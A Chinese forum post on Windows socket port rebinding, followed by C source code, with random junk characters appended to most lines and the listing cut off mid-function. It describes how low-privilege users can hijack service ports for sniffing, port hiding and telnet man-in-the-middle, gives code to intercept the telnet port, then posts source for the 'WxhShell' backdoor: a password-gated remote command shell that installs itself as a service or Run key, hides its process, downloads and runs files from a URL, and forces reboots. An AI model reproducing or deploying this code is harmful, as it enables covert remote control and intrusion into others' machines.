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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )ZgER[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VT5cxB<  
*b6I%MZn  
  saddr.sin_family = AF_INET; Xew1LPI  
6m-:F.k1(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /.| A  
20.-;jK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _[$T29:8\]  
KTLbqSS\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {w |dM#  
!sfXq"F  
  这意味着什么?意味着可以进行如下的攻击: E VN-<=i^  
tL={y*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n2xLgK=  
Uw2,o|=O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qLQ <1>u  
XSm"I[.g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !cEbz b  
Q )LXL.0h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @)W(q5)}9"  
5|<yfk8*J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E[|s>Xv~  
sJ))<,e5I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N|!MO{sB  
T~i%j@Q.6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DU5:+" u3  
g.B%#bfg  
  #include !US8aT  
  #include ADv^eJJ|  
  #include gk!E$NyE  
  #include    \H Wcd|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n S_Ta  
  int main()  0dgP  
  { [>W"R1/  
  WORD wVersionRequested; :a_BD  
  DWORD ret; G'ij?^?  
  WSADATA wsaData; "w}-?:# j  
  BOOL val; IDy_L;'`*  
  SOCKADDR_IN saddr; "+=Pp  
  SOCKADDR_IN scaddr; +hE',i.  
  int err; yXJ]U \ %  
  SOCKET s; ^4c,U9J=  
  SOCKET sc; di~]HUZh)  
  int caddsize; (GCG/8s  
  HANDLE mt; ]dvPx^`d{  
  DWORD tid;   =43I1&_   
  wVersionRequested = MAKEWORD( 2, 2 ); ldA!ou7  
  err = WSAStartup( wVersionRequested, &wsaData ); ;{|X,;s  
  if ( err != 0 ) { q[7CPE0n  
  printf("error!WSAStartup failed!\n"); rh@r\ H@j  
  return -1; "\e:h| .G  
  } KQ&Y2l1*>>  
  saddr.sin_family = AF_INET; !c%  
   *HR +a#o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 et=7}K]l  
{m[s<A(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tR kF   
  saddr.sin_port = htons(23); ?hnx/z+uT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o]Gguw5W{  
  { >R!"P[*  
  printf("error!socket failed!\n"); ; e@gO  
  return -1; \K;op2  
  } Y9F)`1 7  
  val = TRUE; ?WQNIX4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )l&D]3$6K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W{  fZ[z  
  { [)^mBVht  
  printf("error!setsockopt failed!\n"); MaO"#{i  
  return -1; (&jW}1D  
  } }Z\wH*s`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }Dn^d}?s||  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #uSK#>H_!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gxwo4.,  
\q "N/$5{f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jNA1O68N  
  { ,> n% ~'gb  
  ret=GetLastError(); !^e =P%S  
  printf("error!bind failed!\n"); ]dSK wxk  
  return -1; kZLMtj-   
  } +L0w;wT  
  listen(s,2); @Y}uZ'jt'  
  while(1) w7FoL  
  { }u%"$[I}  
  caddsize = sizeof(scaddr); a8pY[)^c  
  //接受连接请求 :P$#MC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y+9h~,:A  
  if(sc!=INVALID_SOCKET) Kc #|Z  
  { =bLY /  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2#vv$YD  
  if(mt==NULL) JN4fPGbV  
  { "@A![iP  
  printf("Thread Creat Failed!\n"); h^9"i3H  
  break; %@a8P  
  } 1n5(S<T  
  } #`TgZKDg2  
  CloseHandle(mt); %3q0(Xl  
  } Rlnbdb;!k  
  closesocket(s); `1*nL,i  
  WSACleanup(); D\w h;r  
  return 0; I:bD~F b3  
  }   YJg,B\z}  
  DWORD WINAPI ClientThread(LPVOID lpParam) >d"3<S ; b  
  { 7]xm2CHx5  
  SOCKET ss = (SOCKET)lpParam; tWTKgbj(  
  SOCKET sc; O%g $9-?F0  
  unsigned char buf[4096]; fDE%R={!n5  
  SOCKADDR_IN saddr; Jd\apBIf  
  long num; 2sNK  
  DWORD val; SG}V[Glk  
  DWORD ret; 5uq3\a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 09A X-JP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ] Z8Vj7~  
  saddr.sin_family = AF_INET; HEL!GC>#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ? J} r  
  saddr.sin_port = htons(23); CT0l!J~5m~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g  %K>  
  { J q{7R  
  printf("error!socket failed!\n"); PB%-9C0  
  return -1; )X4K2~k*  
  } 08X_}97#WF  
  val = 100; AL$&|=C-$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,+`61J3W  
  { G?f\>QSZ  
  ret = GetLastError(); Y(cN}44  
  return -1; i)#:qAtP*  
  } E_KCNn-f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Ll[ fJZA  
  { hTP:[w)  
  ret = GetLastError(); tm7u^9]  
  return -1; 7t,t`  
  } G'YH6x,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w9 w%&{j  
  { ih?^t(i  
  printf("error!socket connect failed!\n"); ?"?6,;F(4  
  closesocket(sc); .0R v(Y  
  closesocket(ss); n G_6oe*=I  
  return -1; x0 d~i!d  
  } cRX~z  
  while(1) -v6M<  
  { GUslPnG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .z13 =yv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &uC@|dbC5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 > iE!m  
  num = recv(ss,buf,4096,0); -W,}rcj*|  
  if(num>0) 5NJ4  
  send(sc,buf,num,0); A(]H{>PMy  
  else if(num==0) @ 49nJi  
  break; lO2[JP  
  num = recv(sc,buf,4096,0); 5U_H>oD  
  if(num>0) Q f(p~a(d  
  send(ss,buf,num,0); e8'wG{3A  
  else if(num==0) 5BBD.!  
  break; tGB@$UmfU  
  } 0ZQ'_g|%  
  closesocket(ss); Ts~L:3oaQ  
  closesocket(sc); !x'/9^i~v  
  return 0 ; 1~ $);US  
  } !%dN<%Ah  
{mB0rKVm  
] }f9JNf$  
========================================================== l7De6A"  
6"dD2WV/  
下边附上一个代码,,WXhSHELL V ]90  
r H~" 4  
========================================================== bTQNb!&  
-GLMmZJt  
#include "stdafx.h" "kZ[N'z (  
KD^N)&k^Kp  
#include <stdio.h> ws^4?O  
#include <string.h> i*CZV|t US  
#include <windows.h> :T9< d er,  
#include <winsock2.h> | [ >UH  
#include <winsvc.h> E@Ad'_H  
#include <urlmon.h> s=[h?kB  
$ /nY5[  
#pragma comment (lib, "Ws2_32.lib") ;NRF=d>  
#pragma comment (lib, "urlmon.lib") p<:!)kt  
CW<N: F.9  
#define MAX_USER   100 // 最大客户端连接数 aN(|'uO@  
#define BUF_SOCK   200 // sock buffer ~H!S,"n^,P  
#define KEY_BUFF   255 // 输入 buffer N<DGw?Rl  
t]X w{)T  
#define REBOOT     0   // 重启 t'ZWc\  
#define SHUTDOWN   1   // 关机 VsA'de!V4[  
Uo2GK3nT  
#define DEF_PORT   5000 // 监听端口 |<O9Sb_  
(dv]=5""  
#define REG_LEN     16   // 注册表键长度 ]KJj6xn  
#define SVC_LEN     80   // NT服务名长度 _/O25% l  
$HJwb-I  
// 从dll定义API @/ k@WhFZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wgw(YU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MQ"xOcD*F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H9CS*|q6r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q/n,,!  
M}!2H*  
// wxhshell配置信息 Qca&E`~Q  
struct WSCFG { H#ncM~y*  
  int ws_port;         // 监听端口 3$X'Y]5a  
  char ws_passstr[REG_LEN]; // 口令 %dY<=x#b  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xn{1 FJX/  
  char ws_regname[REG_LEN]; // 注册表键名 p}cw{  
  char ws_svcname[REG_LEN]; // 服务名 [p<w._b i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <n#DT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x7$}8LZ"B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O?|gp<=d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tPF.r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w4gg@aO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RU\/j%^  
[Vma^B$7Vj  
}; e2A-;4?_  
/bVoErf  
// default Wxhshell configuration Ih"XV  
struct WSCFG wscfg={DEF_PORT, v\{!THCSh  
    "xuhuanlingzhe", D"D<+ ;S#  
    1, =&:Y6XP  
    "Wxhshell", [W7CXZDd  
    "Wxhshell", >:b Q  
            "WxhShell Service", #Q /Arq  
    "Wrsky Windows CmdShell Service", o !U 6?  
    "Please Input Your Password: ", =y!$/(H  
  1, j?+X\PtQ  
  "http://www.wrsky.com/wxhshell.exe", %QP0  
  "Wxhshell.exe" P ! _rEV  
    }; N}t 2Nu-  
<q@a~'Ai?!  
// 消息定义模块 ?pd8w#O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @qYp>|AF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c(~[$)i6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y9Usn8  
char *msg_ws_ext="\n\rExit."; ?)ONf#4Y  
char *msg_ws_end="\n\rQuit."; 3(,?S$>  
char *msg_ws_boot="\n\rReboot..."; :w^Ed%>y7  
char *msg_ws_poff="\n\rShutdown..."; H|HYo\@F#  
char *msg_ws_down="\n\rSave to "; |mw.qI|  
s|y "WDyx5  
char *msg_ws_err="\n\rErr!"; XY3v_5~/1F  
char *msg_ws_ok="\n\rOK!"; ~o~!+`@q  
"L&#lfOKG  
char ExeFile[MAX_PATH]; WL"^>[Vq  
int nUser = 0; ?m\t| /0Q  
HANDLE handles[MAX_USER]; W~7A+=&  
int OsIsNt; d\gJ$ ~^K  
R1$:~p2m  
SERVICE_STATUS       serviceStatus; m0a?LY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wG-HF'0L  
F}/S:(6LF2  
// 函数声明 fUA uqfj[  
int Install(void); lSVp%0jR  
int Uninstall(void); 9^#c| 0T  
int DownloadFile(char *sURL, SOCKET wsh); 2KYw}j|5  
int Boot(int flag); hFy;ffs.  
void HideProc(void); kTu[ y;  
int GetOsVer(void); ?Yth0O6?sb  
int Wxhshell(SOCKET wsl); (<xfCH F5  
void TalkWithClient(void *cs); \=ux atw  
int CmdShell(SOCKET sock); ]\hSI){  
int StartFromService(void); g'n7T|h ~  
int StartWxhshell(LPSTR lpCmdLine); _n50C"X=&(  
n%.7h3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _C*fs< #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R?"q]af~  
LcTt)rs f  
// 数据结构和表定义 FE (ev 9@  
SERVICE_TABLE_ENTRY DispatchTable[] = xg;+<iW  
{ .yqM7U_  
{wscfg.ws_svcname, NTServiceMain}, Z8@J`0x  
{NULL, NULL} 3yU.& k  
}; fPR1f~r  
J$GUB3 G  
// 自我安装 CR"|^{G  
int Install(void) aJbO((%$|u  
{ IYS)7`{]  
  char svExeFile[MAX_PATH]; %\dz m-d(C  
  HKEY key; vyK7I%T'R  
  strcpy(svExeFile,ExeFile); Mb|a+,:>3  
;5S9y7[i|  
// 如果是win9x系统,修改注册表设为自启动  #~2%)  
if(!OsIsNt) { C'.L20qW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mGJKvJF   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lm-dW'7&  
  RegCloseKey(key); "4+ &-ms  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jET{Le8i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 59Xi3KY  
  RegCloseKey(key); jjw`Dto&  
  return 0; j,lT>/  
    } =[cS0Sy  
  } ;g5m0l5  
} - D  
else { 6}[I2F_^  
)wam8k5  
// 如果是NT以上系统,安装为系统服务 B%)%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MDhRR*CBh  
if (schSCManager!=0) p*4':TFuD;  
{ oTU!R ,  
  SC_HANDLE schService = CreateService R_W+Ylob  
  ( ?I_s0k I  
  schSCManager, +%T\`6  
  wscfg.ws_svcname, 8=B|C'>  
  wscfg.ws_svcdisp, ;4R$g5-4X  
  SERVICE_ALL_ACCESS, I5 o)_nc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ =bu(L  
  SERVICE_AUTO_START, *}F3M\  
  SERVICE_ERROR_NORMAL, Q('r<v96  
  svExeFile, n7B7m,@1  
  NULL, h58`XH  
  NULL, &zl|87M  
  NULL, twL3\ }N/B  
  NULL, V+* P2|  
  NULL lGPUIoUo  
  ); gn8R[5:!V  
  if (schService!=0) ?*[N_'2W+  
  { 1-%fo~!l  
  CloseServiceHandle(schService); B6u/mo<  
  CloseServiceHandle(schSCManager); 1L%CJ+Q#0i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1tEgl\u\  
  strcat(svExeFile,wscfg.ws_svcname); !O+) sbd<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q M fT>rH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fM]+SMZy  
  RegCloseKey(key); R0P iv:  
  return 0; k$R~R-'  
    } K SbKEA  
  } nHnK)9\N  
  CloseServiceHandle(schSCManager); s1M Erd  
} "Q}#^h]F  
} Sz%t JD..  
(7mAt3n k  
return 1; !POl;%\  
}  ,V,`Jf  
opY@RJ]  
// 自我卸载 dT`D:)*:  
int Uninstall(void) \s/s7y6b+  
{ {'XggI%  
  HKEY key; l Q'I  
In:9\7~jC  
if(!OsIsNt) { Upc+Ukw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > A Khf  
  RegDeleteValue(key,wscfg.ws_regname); )<oJnxe]  
  RegCloseKey(key); -|J"s$yO4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "9m2/D`=  
  RegDeleteValue(key,wscfg.ws_regname); C\S3Gs  
  RegCloseKey(key); q4R5<LW"  
  return 0; 3/aMJR:o  
  } ?+_Gs;DGVE  
} qIVx9jNN  
} O- ew%@_  
else { OglEt["  
t|H^`Cv6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =+/eLKG  
if (schSCManager!=0) P?8GV%0$  
{ :V1W/c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )LdP5z-  
  if (schService!=0) J,V9k[88  
  { !g?|9  
  if(DeleteService(schService)!=0) { M=%l}FSTw(  
  CloseServiceHandle(schService); 9)y/:sO<P  
  CloseServiceHandle(schSCManager); qmnZAk  
  return 0; = 6tHsN23  
  } )` SE S."  
  CloseServiceHandle(schService); lphFhxJA{  
  } ~"!] 3C,L  
  CloseServiceHandle(schSCManager); ZW-yP2  
} Usr@uI#{J  
} Gn\_+Pj$  
FYOD Upn  
return 1; Ao&\EcIOT  
} [DJflCR&  
@x9a?L.48  
// 从指定url下载文件 +!k&Yje  
int DownloadFile(char *sURL, SOCKET wsh) >NqYyW,%  
{ #hW;Ju73  
  HRESULT hr; iDN;m`a  
char seps[]= "/"; 3t`P@nL0;  
char *token; ZtV9&rd7  
char *file; G3{Q"^S"  
char myURL[MAX_PATH]; {_b%/eR1  
char myFILE[MAX_PATH]; ~hZ"2$(0  
I'\kFjc  
strcpy(myURL,sURL); 7q?9Tj3  
  token=strtok(myURL,seps); VOKZ dC-  
  while(token!=NULL) bsuus R9W  
  { `k OD[*  
    file=token; 'HT7_$?*  
  token=strtok(NULL,seps); rE i Ki  
  } 7x#Ckep:I  
nS/)P4z  
GetCurrentDirectory(MAX_PATH,myFILE); 2uG0/7  
strcat(myFILE, "\\"); SLO%7%>p  
strcat(myFILE, file); lFa02p0  
  send(wsh,myFILE,strlen(myFILE),0); =6woWlfb  
send(wsh,"...",3,0); "nZ*{uv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q&MZN);.  
  if(hr==S_OK) W;_nK4$%'  
return 0; |\QgX%  
else I3 .x9  
return 1; A{UULVp  
NxjB/N  
} &f!z1d-qg?  
.^N/peU q  
// 系统电源模块 !g Z67  
int Boot(int flag) /3A^I{e74  
{ d_4T}% q  
  HANDLE hToken; ~3WM5 fv  
  TOKEN_PRIVILEGES tkp; dA@'b5N{"  
r~N"ere26  
  if(OsIsNt) { j]*j}%hz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a-l; vDs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ` jzTmt  
    tkp.PrivilegeCount = 1; S:TgFt0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A-,up{g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (>`5z(X  
if(flag==REBOOT) { yHHt(GM|o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eFpTW&9n  
  return 0; kqce[hgs<  
} 3l3+A+ n  
else { 9uRF nzJVx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d+X}cq=  
  return 0; jy giG&H  
} fO0(Z  
  } M7ers|&{  
  else { 0Z0:,!  
if(flag==REBOOT) { @y82L8G/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Ab>4UhD  
  return 0; ~4s'0 w^  
} fv`O4  
else { ~zSCg|"r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9G{;?c  
  return 0; Q$:![}[(  
} ;9~6_@,@o  
} YO}1(m  
\3'9Uz,OC  
return 1; Qu} W/j|3  
} NzU,va N  
cs1l~bl  
// win9x进程隐藏模块 1gmt2>#v%  
void HideProc(void) 0pJ ":Q/2)  
{ \0mb 3Q'  
LJOr!rWi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TQ{Han!  
  if ( hKernel != NULL ) d3W0-INL  
  { Qt,M!i,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "=6v&G]U4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nK$X[KrV'  
    FreeLibrary(hKernel); *;m5'}jsy  
  } ^S)cjH`P  
'yV?*a  
return; Gg~QAsks   
} &BtK($  
+J{0 E  
// 获取操作系统版本 $&"V^@  
int GetOsVer(void) hUD7_arKF  
{ ?UK|>9y}Z  
  OSVERSIONINFO winfo; k51Eyy50(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p_UlK8rb  
  GetVersionEx(&winfo); (u]N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {0;3W7  
  return 1; LY[~Os W  
  else s TOa  
  return 0; kKPi:G52F  
} eL4NB$Fb  
WWL4`s  
// 客户端句柄模块 yA)(*PFz  
int Wxhshell(SOCKET wsl) ,^gyH \  
{ }lK3-2Pk  
  SOCKET wsh; <5G{"U+ \  
  struct sockaddr_in client; N`E-+9L)  
  DWORD myID; 0QvT   
P_c,BlfGMH  
  while(nUser<MAX_USER) _;4 [Q1  
{ +4\U)Z/\  
  int nSize=sizeof(client); ur vduE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  49d@!  
  if(wsh==INVALID_SOCKET) return 1; ~V/?H!r'{}  
6G}+gqbX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ne $"g[uFU  
if(handles[nUser]==0) 0<PR+Iv*i  
  closesocket(wsh); i5>+}$1  
else BC,.^"fA6  
  nUser++; |ou b!fG4  
  } $7QoMV8V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  6l$L~>  
N$x tHtz8"  
  return 0; __[xD\ES  
} Mc-)OtmG[  
q~L^au8  
// 关闭 socket *cTO7$\[  
void CloseIt(SOCKET wsh) #wc \T  
{ *WE1;msr  
closesocket(wsh); IScRsxFb  
nUser--; l%Gw_0.?e  
ExitThread(0); (~)%Fo9X"  
} hUz[uyt  
|0{u->+ )  
// 客户端请求句柄 Y~)T  
void TalkWithClient(void *cs) OG3/-K8R  
{ p"*y58  
0t#g }  
  SOCKET wsh=(SOCKET)cs; "4H8A =  
  char pwd[SVC_LEN]; j#0j)k2Q  
  char cmd[KEY_BUFF]; }X;U|]d  
char chr[1]; xsjO)))f  
int i,j; L:M0pk{T  
:Vg}V"QR  
  while (nUser < MAX_USER) { ecOy6@UDY  
1!p/6  
if(wscfg.ws_passstr) { i#X!#vyc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M}0eu(_|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A=Dhod  
  //ZeroMemory(pwd,KEY_BUFF); 91of~ffh  
      i=0; qQxz(}REu9  
  while(i<SVC_LEN) { _,6f#t  
 n i  
  // 设置超时 G6K  <  
  fd_set FdRead; w:o-klKXY  
  struct timeval TimeOut; o2-@o= F  
  FD_ZERO(&FdRead); +:6Ii9G N  
  FD_SET(wsh,&FdRead); 8*g ^o\M  
  TimeOut.tv_sec=8; &~B5.sppnB  
  TimeOut.tv_usec=0; oKFT? "[X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kqvow3u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Uz%Z&K  
gLL-VvJ[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j2 h[70fWC  
  pwd=chr[0]; 7.<^j[?  
  if(chr[0]==0xd || chr[0]==0xa) { K:yr-#(P/  
  pwd=0; LT+3q%W.UC  
  break; :^C'<SY2Gs  
  } 1'6cGpZY  
  i++; 2aNT#J"_  
    } i(2y:U3[@  
AyE\fY5  
  // 如果是非法用户,关闭 socket i}TwOy<4s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }0=<6\+:`  
} Q |i9aE  
IGj`_a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9x~-*8aw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "oc$  
m.%`4L^`T  
while(1) { w,.qCpT$_  
J/D|4fC  
  ZeroMemory(cmd,KEY_BUFF); ~hN~>0O  
d-!<C7O}  
      // 自动支持客户端 telnet标准   sDiHXDI_m  
  j=0; (!K+P[g  
  while(j<KEY_BUFF) { }4c/YP"a'E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O ++/ry%k  
  cmd[j]=chr[0]; #I\Y= XCY  
  if(chr[0]==0xa || chr[0]==0xd) { 7h<> k*E)  
  cmd[j]=0; ^nDal':*  
  break; gp< =Gmd  
  } ?{J!#`tfV  
  j++; 2P~)I)3V  
    } ahIE;Y\j'  
zj M/M  
  // 下载文件 o<VP'F{p  
  if(strstr(cmd,"http://")) { E'dX)J9e$/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P2k7M(I_&  
  if(DownloadFile(cmd,wsh)) ,jh~;, w2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \aSz2lxEHn  
  else sk X]8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o)]FtL:mm  
  } ( )|3  
  else { Gbb \h  
l)@:T|)c  
    switch(cmd[0]) { T1~)^qQ  
  70iH0j)  
  // 帮助 @FX{M..  
  case '?': { ;L6Xs_L~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jXcNAl  
    break; 9m!7|(QV  
  } nxRwWj57  
  // 安装 6Y?`=kAp  
  case 'i': { t.=Oj  
    if(Install()) %,?vyY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sv=^k(d3  
    else TA)LPBG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vgk9b!Xd  
    break; ,ep9V ,+|  
    } FzhT$7Gw  
  // 卸载 T|+$@o  
  case 'r': { VK4/82@5  
    if(Uninstall()) "L_-}BK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kq7C0)23  
    else lPS*-p#IZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yw^ Gti'<  
    break; #WEq-0L   
    } FfXZ|o$;  
  // 显示 wxhshell 所在路径 x u,htx  
  case 'p': { uGCtLA+sL  
    char svExeFile[MAX_PATH]; j |td,82.  
    strcpy(svExeFile,"\n\r"); }xJR.]).KW  
      strcat(svExeFile,ExeFile); 6+ANAk  
        send(wsh,svExeFile,strlen(svExeFile),0); G+C} <S}  
    break; H5p5S\g-)  
    } 1 PIzV:L\  
  // 重启 Y-~;E3(  
  case 'b': { ,RN|d0dE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X 7&U3v  
    if(Boot(REBOOT)) ^2JPyyZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>:=w|.HC  
    else { m+7`\|`jQ  
    closesocket(wsh); U#"WrWj  
    ExitThread(0); {g@A>  
    } &%:*\_2s  
    break; oVEAlBm^v  
    } 2YluJ:LN  
  // 关机 N1s.3`  
  case 'd': { H9:%6sds  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `$f2eB&   
